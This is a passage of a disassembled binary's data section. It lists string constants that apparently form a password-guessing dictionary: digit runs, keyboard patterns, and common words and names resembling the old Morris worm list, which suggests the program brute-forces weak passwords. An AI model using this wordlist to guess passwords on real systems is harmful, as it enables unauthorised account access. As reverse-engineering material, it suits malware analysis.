		align 4
a99999999	db '99999999',0         ; DATA XREF: seg002:0042638Co
		align 4
a9999999	db '9999999',0          ; DATA XREF: seg002:00426388o
a999999		db '999999',0           ; DATA XREF: seg002:00426384o
		align 4
a99999		db '99999',0            ; DATA XREF: seg002:00426380o
		align 4
a9999		db '9999',0             ; DATA XREF: seg002:0042637Co
		align 4
a999		db '999',0              ; DATA XREF: seg002:00426378o
a99		db '99',0               ; DATA XREF: seg002:00426374o
		align 4
a9:					; DATA XREF: seg002:00426370o
		unicode	0, <9>,0
a8888888888	db '8888888888',0       ; DATA XREF: seg002:0042636Co
		align 4
a888888888	db '888888888',0        ; DATA XREF: seg002:00426368o
		align 4
a8888888	db '8888888',0          ; DATA XREF: seg002:00426360o
a888888		db '888888',0           ; DATA XREF: seg002:0042635Co
		align 4
a88888		db '88888',0            ; DATA XREF: seg002:00426358o
		align 10h
a8888		db '8888',0             ; DATA XREF: seg002:00426354o
		align 4
a888		db '888',0              ; DATA XREF: seg002:00426350o
a88		db '88',0               ; DATA XREF: seg002:0042634Co
		align 10h
a8:					; DATA XREF: seg002:00426348o
		unicode	0, <8>,0
a7777777777	db '7777777777',0       ; DATA XREF: seg002:00426344o
		align 10h
a777777777	db '777777777',0        ; DATA XREF: seg002:00426340o
		align 4
a77777777	db '77777777',0         ; DATA XREF: seg002:0042633Co
		align 4
a7777777	db '7777777',0          ; DATA XREF: seg002:00426338o
a777777		db '777777',0           ; DATA XREF: seg002:00426334o
		align 4
a77777		db '77777',0            ; DATA XREF: seg002:00426330o
		align 10h
a7777		db '7777',0             ; DATA XREF: seg002:0042632Co
		align 4
a777		db '777',0              ; DATA XREF: seg002:00426328o
a77		db '77',0               ; DATA XREF: seg002:00426324o
		align 10h
a7:					; DATA XREF: seg002:00426320o
		unicode	0, <7>,0
a6666666666	db '6666666666',0       ; DATA XREF: seg002:0042631Co
		align 10h
a666666666	db '666666666',0        ; DATA XREF: seg002:00426318o
		align 4
a66666666	db '66666666',0         ; DATA XREF: seg002:00426314o
		align 4
a6666666	db '6666666',0          ; DATA XREF: seg002:00426310o
a666666		db '666666',0           ; DATA XREF: seg002:0042630Co
		align 4
a66666		db '66666',0            ; DATA XREF: seg002:00426308o
		align 10h
a6666		db '6666',0             ; DATA XREF: seg002:00426304o
		align 4
a666		db '666',0              ; DATA XREF: seg002:00426300o
a66		db '66',0               ; DATA XREF: seg002:004262FCo
		align 10h
a6:					; DATA XREF: seg002:004262F8o
		unicode	0, <6>,0
a5555555555	db '5555555555',0       ; DATA XREF: seg002:004262F4o
		align 10h
a555555555	db '555555555',0        ; DATA XREF: seg002:004262F0o
		align 4
a55555555	db '55555555',0         ; DATA XREF: seg002:004262ECo
		align 4
a5555555	db '5555555',0          ; DATA XREF: seg002:004262E8o
a555555		db '555555',0           ; DATA XREF: seg002:004262E4o
		align 4
a55555		db '55555',0            ; DATA XREF: seg002:004262E0o
		align 10h
a5555		db '5555',0             ; DATA XREF: seg002:004262DCo
		align 4
a555		db '555',0              ; DATA XREF: seg002:004262D8o
a55		db '55',0               ; DATA XREF: seg002:004262D4o
		align 10h
a5:					; DATA XREF: seg002:004262D0o
		unicode	0, <5>,0
a4444444444	db '4444444444',0       ; DATA XREF: seg002:004262CCo
		align 10h
a444444444	db '444444444',0        ; DATA XREF: seg002:004262C8o
		align 4
a44444444	db '44444444',0         ; DATA XREF: seg002:004262C4o
		align 4
a4444444	db '4444444',0          ; DATA XREF: seg002:004262C0o
a444444		db '444444',0           ; DATA XREF: seg002:004262BCo
		align 4
a44444		db '44444',0            ; DATA XREF: seg002:004262B8o
		align 10h
a4444		db '4444',0             ; DATA XREF: seg002:004262B4o
		align 4
a444		db '444',0              ; DATA XREF: seg002:004262B0o
a44		db '44',0               ; DATA XREF: seg002:004262ACo
		align 10h
a4:					; DATA XREF: seg002:004262A8o
		unicode	0, <4>,0
a3333333333	db '3333333333',0       ; DATA XREF: seg002:004262A4o
		align 10h
a333333333	db '333333333',0        ; DATA XREF: seg002:004262A0o
		align 4
a33333333	db '33333333',0         ; DATA XREF: seg002:0042629Co
		align 4
a3333333	db '3333333',0          ; DATA XREF: seg002:00426298o
a333333		db '333333',0           ; DATA XREF: seg002:00426294o
		align 4
a33333		db '33333',0            ; DATA XREF: seg002:00426290o
		align 10h
a3333		db '3333',0             ; DATA XREF: seg002:0042628Co
		align 4
a333		db '333',0              ; DATA XREF: seg002:00426288o
a33		db '33',0               ; DATA XREF: seg002:00426284o
		align 10h
a3:					; DATA XREF: seg002:00426280o
		unicode	0, <3>,0
a2222222222	db '2222222222',0       ; DATA XREF: seg002:0042627Co
		align 10h
a222222222	db '222222222',0        ; DATA XREF: seg002:00426278o
		align 4
a22222222	db '22222222',0         ; DATA XREF: seg002:00426274o
		align 4
a2222222	db '2222222',0          ; DATA XREF: seg002:00426270o
a222222		db '222222',0           ; DATA XREF: seg002:0042626Co
		align 4
a22222		db '22222',0            ; DATA XREF: seg002:00426268o
		align 10h
a2222		db '2222',0             ; DATA XREF: seg002:00426264o
		align 4
a222		db '222',0              ; DATA XREF: seg002:00426260o
a22		db '22',0               ; DATA XREF: seg002:0042625Co
		align 10h
a2:					; DATA XREF: seg002:00426258o
		unicode	0, <2>,0
a1111111111	db '1111111111',0       ; DATA XREF: seg002:00426254o
		align 10h
a111111111	db '111111111',0        ; DATA XREF: seg002:00426250o
		align 4
a1111111	db '1111111',0          ; DATA XREF: seg002:00426248o
a11111		db '11111',0            ; DATA XREF: seg002:00426240o
		align 4
a1111		db '1111',0             ; DATA XREF: seg002:0042623Co
		align 4
a11		db '11',0               ; DATA XREF: seg002:00426234o
		align 4
a010		db '010',0              ; DATA XREF: seg002:00426224o
a009		db '009',0              ; DATA XREF: seg002:00426220o
a008		db '008',0              ; DATA XREF: seg002:0042621Co
a006		db '006',0              ; DATA XREF: seg002:00426214o
a005		db '005',0              ; DATA XREF: seg000:0040A3A5o
					; seg002:00426210o
a004		db '004',0              ; DATA XREF: seg002:0042620Co
a003		db '003',0              ; DATA XREF: seg002:00426208o
a002		db '002',0              ; DATA XREF: seg002:00426204o
a001		db '001',0              ; DATA XREF: seg000:0040A390o
					; seg002:00426200o
asc_4274AC	db '*********',0        ; DATA XREF: seg002:004261FCo
		align 4
asc_4274B8	db '********',0         ; DATA XREF: seg002:004261F8o
		align 4
asc_4274C4	db '*******',0          ; DATA XREF: seg002:004261F4o
asc_4274CC	db '******',0           ; DATA XREF: seg002:004261F0o
		align 4
asc_4274D4	db '*****',0            ; DATA XREF: seg002:004261ECo
		align 4
asc_4274DC	db '****',0             ; DATA XREF: seg002:004261E8o
		align 4
asc_4274E4	db '***',0              ; DATA XREF: seg002:004261E4o
asc_4274E8	db '**',0               ; DATA XREF: seg002:004261E0o
		align 4
a0000000000	db '0000000000',0       ; DATA XREF: seg002:004261D8o
		align 4
a000000000	db '000000000',0        ; DATA XREF: seg002:004261D4o
		align 4
a@		db '@!',0               ; DATA XREF: seg002:004261B4o
		align 4
a@_0		db '#@!',0              ; DATA XREF: seg002:004261B0o
a@_1		db '$#@!',0             ; DATA XREF: seg002:004261ACo
		align 4
a@_2		db '%$#@!',0            ; DATA XREF: seg002:004261A8o
		align 4
a@_3		db '^%$#@!',0           ; DATA XREF: seg002:004261A4o
		align 4
a@_4		db '&^%$#@!',0          ; DATA XREF: seg002:004261A0o
a@_5		db '*&^%$#@!',0         ; DATA XREF: seg002:0042619Co
		align 4
asc_427538	db '$$$',0              ; DATA XREF: seg002:00426198o
asc_42753C	db '$$',0               ; DATA XREF: seg002:00426194o
		align 10h
asc_427540:				; DATA XREF: seg002:00426190o
		unicode	0, <$>,0
a456_0		db '456+',0             ; DATA XREF: seg002:0042618Co
		align 4
a789_0		db '789+',0             ; DATA XREF: seg002:00426188o
		align 4
a0		db '=-0',0              ; DATA XREF: seg002:00426184o
asc_427558	db '--++',0             ; DATA XREF: seg002:00426180o
		align 10h
asc_427560	db '-+',0               ; DATA XREF: seg002:0042617Co
		align 4
asc_427564	db '----',0             ; DATA XREF: seg002:00426178o
		align 4
asc_42756C	db '--',0               ; DATA XREF: seg002:00426170o
					; seg002:00426174o
		align 10h
asc_427570:				; DATA XREF: seg002:0042616Co
		unicode	0, <->,0
asc_427574	db '++++',0             ; DATA XREF: seg002:00426168o
		align 4
asc_42757C	db '+++',0              ; DATA XREF: seg002:00426164o
asc_427580	db '++',0               ; DATA XREF: seg002:00426160o
		align 4
asc_427584:				; DATA XREF: seg002:0042615Co
		unicode	0, <+>,0
a@@		db '@@',0               ; DATA XREF: seg002:00426158o
		align 4
a@_6:					; DATA XREF: seg000:0040A3CAo
					; seg002:00426154o
		unicode	0, <@>,0
off_427590	dd offset loc_40211F+2	; DATA XREF: seg002:00426150o
dword_427594	dd 2121h	dword_427598	dd 24234021h, 2A265E25h, 0dword_4275A4	dd 24234021h, 265E25hdword_4275AC	dd 24234021h, 5E25hdword_4275B4	dd 24234021h, 25hdword_4275BC	dd 234021h	dword_4275C0	dd 4021h	dword_4275C4	dd 21h							; seg000:0040F26Do ...
dword_4275C8	dd 25h		aZimmerman	db 'zimmerman',0        ; DATA XREF: seg002:00426124o
		align 4
aZap		db 'zap',0              ; DATA XREF: seg002:00426120o
aYellowstone	db 'yellowstone',0      ; DATA XREF: seg002:0042611Co
aXyz		db 'xyz',0              ; DATA XREF: seg002:00426118o
					; seg002:00426610o
aWisconsin	db 'wisconsin',0        ; DATA XREF: seg002:00426114o
		align 4
aWilliamsburg	db 'williamsburg',0     ; DATA XREF: seg002:00426110o
		align 4
aWholesale	db 'wholesale',0        ; DATA XREF: seg002:0042610Co
		align 4
aTty		db 'tty',0              ; DATA XREF: seg002:00426108o
aTopography	db 'topography',0       ; DATA XREF: seg002:00426104o
		align 4
aTemptation	db 'temptation',0       ; DATA XREF: seg002:00426100o
		align 10h
aTelephone	db 'telephone',0        ; DATA XREF: seg002:004260FCo
		align 4
aTangerine	db 'tangerine',0        ; DATA XREF: seg002:004260F8o
		align 4
aSys		db 'sys',0              ; DATA XREF: seg002:004260F4o
aSupported	db 'supported',0        ; DATA XREF: seg002:004260F0o
		align 4
aSuperuser	db 'superuser',0        ; DATA XREF: seg002:004260ECo
		align 4
aSuperstage	db 'superstage',0       ; DATA XREF: seg002:004260E8o
		align 10h
aSun		db 'sun',0              ; DATA XREF: seg002:004260E4o
aStuttgart	db 'stuttgart',0        ; DATA XREF: seg002:004260E0o
		align 10h
aStratford	db 'stratford',0        ; DATA XREF: seg002:004260DCo
		align 4
aStephanie	db 'stephanie',0        ; DATA XREF: seg002:004260D8o
		align 4
aSignature	db 'signature',0        ; DATA XREF: seg002:004260D4o
		align 4
aSheffield	db 'sheffield',0        ; DATA XREF: seg002:004260D0o
		align 10h
aSal		db 'sal',0              ; DATA XREF: seg002:004260CCo
aRochester	db 'rochester',0        ; DATA XREF: seg002:004260C8o
		align 10h
aRje		db 'rje',0              ; DATA XREF: seg002:004260C4o
aRachmaninoff	db 'rachmaninoff',0     ; DATA XREF: seg002:004260C0o
		align 4
aPub		db 'pub',0              ; DATA XREF: seg002:004260BCo
aProfessor	db 'professor',0        ; DATA XREF: seg002:004260B8o
		align 4
aPrinceton	db 'princeton',0        ; DATA XREF: seg002:004260B4o
		align 10h
aPondering	db 'pondering',0        ; DATA XREF: seg002:004260B0o
		align 4
aPolynomial	db 'polynomial',0       ; DATA XREF: seg002:004260ACo
		align 4
aPersimmon	db 'persimmon',0        ; DATA XREF: seg002:004260A8o
		align 4
aPercolate	db 'percolate',0        ; DATA XREF: seg002:004260A4o
		align 10h
aPam		db 'pam',0              ; DATA XREF: seg002:004260A0o
aPad		db 'pad',0              ; DATA XREF: seg002:0042609Co
aOceanography	db 'oceanography',0     ; DATA XREF: seg002:00426098o
		align 4
aNutrition	db 'nutrition',0        ; DATA XREF: seg002:00426094o
		align 4
aNew		db 'new',0              ; DATA XREF: seg002:00426090o
aNet		db 'net',0              ; DATA XREF: seg002:0042608Co
aMit		db 'mit',0              ; DATA XREF: seg002:00426088o
aMgr		db 'mgr',0              ; DATA XREF: seg002:00426084o
aMacintosh	db 'macintosh',0        ; DATA XREF: seg002:00426080o
		align 10h
aLiz		db 'liz',0              ; DATA XREF: seg002:0042607Co
aLee		db 'lee',0              ; DATA XREF: seg002:00426078o
aLamination	db 'lamination',0       ; DATA XREF: seg002:00426074o
		align 4
aKim		db 'kim',0              ; DATA XREF: seg002:00426070o
aKey		db 'key',0              ; DATA XREF: seg002:0042606Co
aJoy		db 'joy',0              ; DATA XREF: seg002:00426068o
aJen		db 'jen',0              ; DATA XREF: seg002:00426064o
aInnocuous	db 'innocuous',0        ; DATA XREF: seg002:00426060o
		align 10h
aImbroglio	db 'imbroglio',0        ; DATA XREF: seg002:0042605Co
		align 4
aIbm		db 'ibm',0              ; DATA XREF: seg002:00426058o
aHappening	db 'happening',0        ; DATA XREF: seg002:00426054o
		align 4
aHal		db 'hal',0              ; DATA XREF: seg002:00426050o
aGnu		db 'gnu',0              ; DATA XREF: seg002:0042604Co
aFun		db 'fun',0              ; DATA XREF: seg002:00426048o
aForesight	db 'foresight',0        ; DATA XREF: seg002:00426044o
		align 4
aFoolproof	db 'foolproof',0        ; DATA XREF: seg002:00426040o
		align 10h
aExtension	db 'extension',0        ; DATA XREF: seg002:0042603Co
		align 4
aEstablish	db 'establish',0        ; DATA XREF: seg002:00426038o
		align 4
aEnterprise	db 'enterprise',0       ; DATA XREF: seg002:00426034o
		align 4
aElizabeth	db 'elizabeth',0        ; DATA XREF: seg002:00426030o
		align 10h
aEiderdown	db 'eiderdown',0        ; DATA XREF: seg002:0042602Co
		align 4
aEdinburgh	db 'edinburgh',0        ; DATA XREF: seg002:00426028o
		align 4
aDos		db 'dos',0              ; DATA XREF: seg002:00426024o
aDog		db 'dog',0              ; DATA XREF: seg002:00426020o
aDiscovery	db 'discovery',0        ; DATA XREF: seg002:0042601Co
		align 4
aDesperate	db 'desperate',0        ; DATA XREF: seg002:00426018o
		align 4
aDeb		db 'deb',0              ; DATA XREF: seg002:00426014o
aCornelius	db 'cornelius',0        ; DATA XREF: seg002:00426010o
		align 4
aCommrades	db 'commrades',0        ; DATA XREF: seg002:0042600Co
		align 4
aChristine	db 'christine',0        ; DATA XREF: seg002:00426008o
		align 10h
aChristina	db 'christina',0        ; DATA XREF: seg002:00426004o
		align 4
aChemistry	db 'chemistry',0        ; DATA XREF: seg002:00426000o
		align 4
aCatherine	db 'catherine',0        ; DATA XREF: seg002:00425FFCo
		align 4
aCat		db 'cat',0              ; DATA XREF: seg002:00425FF8o
aCampanile	db 'campanile',0        ; DATA XREF: seg002:00425FF4o
		align 4
aCad		db 'cad',0              ; DATA XREF: seg002:00425FF0o
aBsd		db 'bsd',0              ; DATA XREF: seg002:00425FECo
aBob		db 'bob',0              ; DATA XREF: seg002:00425FE8o
aBicameral	db 'bicameral',0        ; DATA XREF: seg002:00425FE4o
		align 4
aBeethoven	db 'beethoven',0        ; DATA XREF: seg002:00425FE0o
		align 4
aAtmosphere	db 'atmosphere',0       ; DATA XREF: seg002:00425FDCo
		align 4
aAsm		db 'asm',0              ; DATA XREF: seg002:00425FD8o
aAsd		db 'asd',0              ; DATA XREF: seg002:00425FD4o
					; seg002:00426640o
aAnthropogenic	db 'anthropogenic',0    ; DATA XREF: seg002:00425FD0o
		align 4
aAnn		db 'ann',0              ; DATA XREF: seg002:00425FCCo
aAndromache	db 'andromache',0       ; DATA XREF: seg002:00425FC8o
		align 4
aAmy		db 'amy',0              ; DATA XREF: seg002:00425FC4o
aAmorphous	db 'amorphous',0        ; DATA XREF: seg002:00425FC0o
		align 4
aAma		db 'ama',0              ; DATA XREF: seg002:00425FBCo
aAlf		db 'alf',0              ; DATA XREF: seg002:00425FB8o
aAlbatross	db 'albatross',0        ; DATA XREF: seg002:00425FB4o
		align 10h
aAda		db 'ada',0              ; DATA XREF: seg002:00425FB0o
aH4x0ring	db 'h4x0ring',0         ; DATA XREF: seg002:00425FACo
		align 10h
aH4x0r1ng	db 'h4x0r1ng',0         ; DATA XREF: seg002:00425FA8o
		align 4
aH4x1ng		db 'h4x1ng',0           ; DATA XREF: seg002:00425FA4o
		align 4
aHaxing		db 'haxing',0           ; DATA XREF: seg002:00425FA0o
		align 4
aHax		db 'hax',0              ; DATA XREF: seg002:00425F9Co
aWh0re		db 'wh0re',0            ; DATA XREF: seg002:00425F98o
		align 4
aHo		db 'ho',0               ; DATA XREF: seg002:00425F94o
		align 4
aWh0r3		db 'wh0r3',0            ; DATA XREF: seg002:00425F90o
		align 4
aWindoze95	db 'windoze95',0        ; DATA XREF: seg002:00425F8Co
		align 10h
aWindoze98	db 'windoze98',0        ; DATA XREF: seg002:00425F88o
		align 4
aWindozeme	db 'windozeME',0        ; DATA XREF: seg002:00425F84o
		align 4
aWindoze2k	db 'windoze2k',0        ; DATA XREF: seg002:00425F80o
		align 4
aWindozexp	db 'windozexp',0        ; DATA XREF: seg002:00425F7Co
		align 10h
aWindows95	db 'windows95',0        ; DATA XREF: seg002:00425F78o
		align 4
aWindows98	db 'windows98',0        ; DATA XREF: seg002:00425F74o
		align 4
aWindowsme	db 'windowsME',0        ; DATA XREF: seg002:00425F70o
		align 4
aWindows2k	db 'windows2k',0        ; DATA XREF: seg002:00425F6Co
		align 10h
aWindowsxp	db 'WindowsXP',0        ; DATA XREF: seg002:00425F68o
		align 4
aMs		db 'MS',0               ; DATA XREF: seg002:00425F64o
		align 10h
aM_0		db 'M$',0               ; DATA XREF: seg002:00425F60o
		align 4
aBilly		db 'billy',0            ; DATA XREF: seg002:00425F5Co
		align 4
aWindose	db 'windose',0          ; DATA XREF: seg002:00425F58o
aWindoze	db 'windoze',0          ; DATA XREF: seg002:00425F54o
aWindowz	db 'windowz',0          ; DATA XREF: seg002:00425F50o
aWileecoyote	db 'wileecoyote',0      ; DATA XREF: seg002:00425F4Co
aDonaldduck	db 'donaldduck',0       ; DATA XREF: seg002:00425F48o
		align 4
aAlexander	db 'Alexander',0        ; DATA XREF: seg002:00425F44o
		align 4
aAl3x		db 'Al3x',0             ; DATA XREF: seg002:00425F40o
		align 10h
aDud3		db 'dud3',0             ; DATA XREF: seg002:00425F3Co
		align 4
aDudette	db 'dudette',0          ; DATA XREF: seg002:00425F38o
aD00d		db 'd00d',0             ; DATA XREF: seg002:00425F34o
		align 4
aLol		db 'lol',0              ; DATA XREF: seg002:00425F30o
aRoscopcoltrane	db 'RoscoPColtrane',0   ; DATA XREF: seg002:00425F2Co
		align 4
aRoscop		db 'RoscoP',0           ; DATA XREF: seg002:00425F28o
		align 4
aRosco		db 'Rosco',0            ; DATA XREF: seg002:00425F24o
		align 4
aRoss		db 'Ross',0             ; DATA XREF: seg002:00425F20o
		align 4
aTestin		db 'testin',0           ; DATA XREF: seg002:00425F1Co
		align 4
aTester		db 'tester',0           ; DATA XREF: seg002:00425F18o
		align 4
a00000000	db '00000000',0         ; DATA XREF: seg002:00425F14o
					; seg002:004261D0o
		align 10h
aZulu		db 'zulu',0             ; DATA XREF: seg002:00425F10o
		align 4
aZombie		db 'zombie',0           ; DATA XREF: seg002:00425F0Co
		align 10h
aZmodem		db 'zmodem',0           ; DATA XREF: seg002:00425F08o
		align 4
aZimmerma	db 'zimmerma',0         ; DATA XREF: seg002:00425F04o
		align 4
aZiggy		db 'ziggy',0            ; DATA XREF: seg002:00425F00o
		align 4
aZeitgeis	db 'zeitgeis',0         ; DATA XREF: seg002:00425EFCo
		align 4
aZebra		db 'zebra',0            ; DATA XREF: seg002:00425EF8o
		align 10h
aYoung		db 'young',0            ; DATA XREF: seg002:00425EF4o
		align 4
aYosemite	db 'yosemite',0         ; DATA XREF: seg002:00425EF0o
		align 4
aYolanda	db 'yolanda',0          ; DATA XREF: seg002:00425EECo
aYellowst	db 'yellowst',0         ; DATA XREF: seg002:00425EE8o
		align 4
aYellow		db 'yellow',0           ; DATA XREF: seg002:00425EE4o
		align 10h
aYankee		db 'yankee',0           ; DATA XREF: seg002:00425EE0o
		align 4
aYang		db 'yang',0             ; DATA XREF: seg002:00425EDCo
					; seg002:00426618o
		align 10h
aYaco		db 'yaco',0             ; DATA XREF: seg002:00425ED8o
					; seg002:00426614o
		align 4
aXyzzy		db 'xyzzy',0            ; DATA XREF: seg002:00425ED4o
		align 10h
aXray		db 'xray',0             ; DATA XREF: seg002:00425ED0o
		align 4
aXmodem		db 'xmodem',0           ; DATA XREF: seg002:00425ECCo
		align 10h
aXmen		db 'xmen',0             ; DATA XREF: seg002:00425EC8o
		align 4
aXman		db 'xman',0             ; DATA XREF: seg002:00425EC4o
		align 10h
aXfer		db 'xfer',0             ; DATA XREF: seg002:00425EC0o
		align 4
aXena		db 'xena',0             ; DATA XREF: seg002:00425EBCo
		align 10h
aWyoming	db 'wyoming',0          ; DATA XREF: seg002:00425EB8o
aWwii		db 'wwii',0             ; DATA XREF: seg002:00425EB4o
		align 10h
aWormwood	db 'wormwood',0         ; DATA XREF: seg002:00425EB0o
		align 4
aWorm		db 'worm',0             ; DATA XREF: seg002:00425EACo
		align 4
aWork		db 'work',0             ; DATA XREF: seg002:00425EA8o
		align 4
aWorf		db 'worf',0             ; DATA XREF: seg002:00425EA4o
		align 4
aWordperf	db 'wordperf',0         ; DATA XREF: seg002:00425EA0o
		align 10h
aWord		db 'word',0             ; DATA XREF: seg002:00425E9Co
		align 4
aWoodwind	db 'woodwind',0         ; DATA XREF: seg002:00425E98o
		align 4
aWood		db 'wood',0             ; DATA XREF: seg002:00425E94o
		align 4
aWomen		db 'women',0            ; DATA XREF: seg002:00425E90o
		align 4
aWombat		db 'wombat',0           ; DATA XREF: seg002:00425E8Co
		align 4
aWoman		db 'woman',0            ; DATA XREF: seg002:00425E88o
		align 4
aWolverin	db 'wolverin',0         ; DATA XREF: seg002:00425E84o
		align 10h
aWolf		db 'wolf',0             ; DATA XREF: seg002:00425E80o
		align 4
aWizard		db 'wizard',0           ; DATA XREF: seg002:00425E7Co
		align 10h
aWithin		db 'within',0           ; DATA XREF: seg002:00425E78o
		align 4
aWiseass	db 'wiseass',0          ; DATA XREF: seg002:00425E74o
aWisconsi	db 'wisconsi',0         ; DATA XREF: seg002:00425E70o
		align 4
aWired		db 'wired',0            ; DATA XREF: seg002:00425E6Co
		align 4
aWinston	db 'winston',0          ; DATA XREF: seg002:00425E68o
aWing		db 'wing',0             ; DATA XREF: seg002:00425E64o
		align 4
aWine		db 'wine',0             ; DATA XREF: seg002:00425E60o
		align 4
aWindows	db 'windows',0          ; DATA XREF: seg002:00425E5Co
aWilma		db 'wilma',0            ; DATA XREF: seg002:00425E58o
		align 4
aWillie		db 'willie',0           ; DATA XREF: seg002:00425E54o
		align 4
aWilliams	db 'williams',0         ; DATA XREF: seg002:00425E50o
		align 10h
aWilliam	db 'william',0          ; DATA XREF: seg002:00425E4Co
aWill		db 'will',0             ; DATA XREF: seg002:00425E48o
		align 10h
aWhore		db 'whore',0            ; DATA XREF: seg002:00425E44o
		align 4
aWholesal	db 'wholesal',0         ; DATA XREF: seg002:00425E40o
		align 4
aWhitney	db 'whitney',0          ; DATA XREF: seg002:00425E3Co
aWhiting	db 'whiting',0          ; DATA XREF: seg002:00425E38o
aWhite		db 'white',0            ; DATA XREF: seg002:00425E34o
		align 4
aWhisky		db 'whisky',0           ; DATA XREF: seg002:00425E30o
		align 4
aWhatnot	db 'whatnot',0          ; DATA XREF: seg002:00425E2Co
aWhatever	db 'whatever',0         ; DATA XREF: seg002:00425E28o
		align 4
aWestern	db 'western',0          ; DATA XREF: seg002:00425E24o
aWest		db 'west',0             ; DATA XREF: seg002:00425E20o
		align 4
aWerewolf	db 'werewolf',0         ; DATA XREF: seg002:00425E1Co
		align 4
aWendy		db 'wendy',0            ; DATA XREF: seg002:00425E18o
		align 4
aWendi		db 'wendi',0            ; DATA XREF: seg002:00425E14o
		align 4
aWell		db 'well',0             ; DATA XREF: seg002:00425E10o
		align 4
aWeenie		db 'weenie',0           ; DATA XREF: seg002:00425E0Co
		align 4
aWeed		db 'weed',0             ; DATA XREF: seg002:00425E08o
		align 4
aWednesda	db 'wednesda',0         ; DATA XREF: seg002:00425E04o
		align 4
aWebpage	db 'webpage',0          ; DATA XREF: seg002:00425E00o
aWave		db 'wave',0             ; DATA XREF: seg002:00425DFCo
		align 4
aWater		db 'water',0            ; DATA XREF: seg002:00425DF8o
		align 10h
aWatchwor	db 'watchwor',0         ; DATA XREF: seg002:00425DF4o
		align 4
aWasp		db 'wasp',0             ; DATA XREF: seg002:00425DF0o
		align 4
aWarren		db 'warren',0           ; DATA XREF: seg002:00425DECo
		align 4
aWarp		db 'warp',0             ; DATA XREF: seg002:00425DE8o
		align 4
aWargames	db 'wargames',0         ; DATA XREF: seg002:00425DE4o
		align 10h
aWarfare	db 'warfare',0          ; DATA XREF: seg002:00425DE0o
aWarez		db 'warez',0            ; DATA XREF: seg002:00425DDCo
		align 10h
aWard		db 'ward',0             ; DATA XREF: seg002:00425DD8o
		align 4
aWaco		db 'waco',0             ; DATA XREF: seg002:00425DD4o
		align 10h
aVodka		db 'vodka',0            ; DATA XREF: seg002:00425DD0o
		align 4
aVisualba	db 'visualba',0         ; DATA XREF: seg002:00425DCCo
		align 4
aVisual		db 'visual',0           ; DATA XREF: seg002:00425DC8o
		align 4
aVisitor	db 'visitor',0          ; DATA XREF: seg002:00425DC4o
aVirus		db 'virus',0            ; DATA XREF: seg002:00425DC0o
		align 4
aVirginia	db 'virginia',0         ; DATA XREF: seg002:00425DBCo
		align 4
aVirgin		db 'virgin',0           ; DATA XREF: seg002:00425DB8o
		align 10h
aVillage	db 'village',0          ; DATA XREF: seg002:00425DB4o
aVideogam	db 'videogam',0         ; DATA XREF: seg002:00425DB0o
		align 4
aVideo		db 'video',0            ; DATA XREF: seg002:00425DACo
		align 4
aVictor		db 'victor',0           ; DATA XREF: seg002:00425DA8o
		align 4
aVicky		db 'vicky',0            ; DATA XREF: seg002:00425DA4o
		align 4
aVertigo	db 'vertigo',0          ; DATA XREF: seg002:00425DA0o
aVeronica	db 'veronica',0         ; DATA XREF: seg002:00425D9Co
		align 10h
aVenus		db 'venus',0            ; DATA XREF: seg002:00425D98o
		align 4
aVasant		db 'vasant',0           ; DATA XREF: seg002:00425D94o
		align 10h
aVampire	db 'vampire',0          ; DATA XREF: seg002:00425D90o
aValerie	db 'valerie',0          ; DATA XREF: seg002:00425D8Co
aVagina		db 'vagina',0           ; DATA XREF: seg002:00425D88o
		align 4
aUucp		db 'uucp',0             ; DATA XREF: seg002:00425D84o
		align 10h
aUtility	db 'utility',0          ; DATA XREF: seg002:00425D80o
aUtil		db 'util',0             ; DATA XREF: seg002:00425D7Co
		align 10h
aUsmc		db 'usmc',0             ; DATA XREF: seg002:00425D78o
		align 4
aUsername	db 'username',0         ; DATA XREF: seg002:00425D74o
		align 4
aUsermane	db 'usermane',0         ; DATA XREF: seg002:00425D70o
		align 10h
aUsenet		db 'usenet',0           ; DATA XREF: seg002:00425D6Co
		align 4
aUrsula		db 'ursula',0           ; DATA XREF: seg002:00425D68o
		align 10h
aUrchin		db 'urchin',0           ; DATA XREF: seg002:00425D64o
		align 4
aUranus		db 'uranus',0           ; DATA XREF: seg002:00425D60o
		align 10h
aUpload		db 'upload',0           ; DATA XREF: seg002:00425D5Co
		align 4
aUnlock		db 'unlock',0           ; DATA XREF: seg002:00425D58o
		align 10h
aUnknown_0	db 'unknown',0          ; DATA XREF: seg002:00425D54o
aUniversi	db 'universi',0         ; DATA XREF: seg002:00425D50o
		align 4
aUniverse	db 'universe',0         ; DATA XREF: seg002:00425D4Co
		align 10h
aUniversa	db 'universa',0         ; DATA XREF: seg002:00425D48o
		align 4
aUniform	db 'uniform',0          ; DATA XREF: seg002:00425D44o
aUnicorn	db 'unicorn',0          ; DATA XREF: seg002:00425D40o
aUnhappy	db 'unhappy',0          ; DATA XREF: seg002:00425D3Co
aUndo		db 'undo',0             ; DATA XREF: seg002:00425D38o
		align 4
aUncle		db 'uncle',0            ; DATA XREF: seg002:00425D34o
		align 4
aUmesh		db 'umesh',0            ; DATA XREF: seg002:00425D30o
		align 4
aUgly		db 'ugly',0             ; DATA XREF: seg002:00425D2Co
		align 4
aTuttle		db 'tuttle',0           ; DATA XREF: seg002:00425D28o
		align 4
aTurn		db 'turn',0             ; DATA XREF: seg002:00425D24o
		align 4
aTuesday	db 'tuesday',0          ; DATA XREF: seg002:00425D20o
aTubas		db 'tubas',0            ; DATA XREF: seg002:00425D1Co
		align 4
aTruth		db 'truth',0            ; DATA XREF: seg002:00425D18o
		align 4
aTrue		db 'true',0             ; DATA XREF: seg002:00425D14o
		align 4
aTron		db 'tron',0             ; DATA XREF: seg002:00425D10o
		align 4
aTrombone	db 'trombone',0         ; DATA XREF: seg002:00425D0Co
		align 4
aTrojan		db 'trojan',0           ; DATA XREF: seg002:00425D08o
		align 10h
aTrivial	db 'trivial',0          ; DATA XREF: seg002:00425D04o
aTrisha		db 'trisha',0           ; DATA XREF: seg002:00425D00o
		align 10h
aTrek		db 'trek',0             ; DATA XREF: seg002:00425CFCo
		align 4
aTree		db 'tree',0             ; DATA XREF: seg002:00425CF8o
		align 10h
aTrapdoor	db 'trapdoor',0         ; DATA XREF: seg002:00425CF4o
		align 4
aTrap		db 'trap',0             ; DATA XREF: seg002:00425CF0o
		align 4
aTransfer	db 'transfer',0         ; DATA XREF: seg002:00425CECo
		align 10h
aTrails		db 'trails',0           ; DATA XREF: seg002:00425CE8o
		align 4
aTracy		db 'tracy',0            ; DATA XREF: seg002:00425CE4o
		align 10h
aTracie		db 'tracie',0           ; DATA XREF: seg002:00425CE0o
		align 4
aTraci		db 'traci',0            ; DATA XREF: seg002:00425CDCo
